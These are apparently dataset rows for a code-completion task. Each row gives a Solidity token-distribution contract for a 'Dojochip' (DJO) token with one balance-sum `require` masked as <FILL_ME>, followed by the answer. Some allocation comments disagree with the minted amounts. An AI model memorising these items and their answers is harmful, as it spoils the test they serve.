_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(<FILL_ME>)
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]+_balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4]==1_000_000ether | 62,345 | _balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]+_balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4]==1_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(<FILL_ME>)
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]+_balances[0x486A62Bb40351037B1d717171bC1928432b4b322]+_balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]+_balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]+_balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]+_balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD]==3_000_000ether | 62,345 | _balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]+_balances[0x486A62Bb40351037B1d717171bC1928432b4b322]+_balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]+_balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]+_balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]+_balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD]==3_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
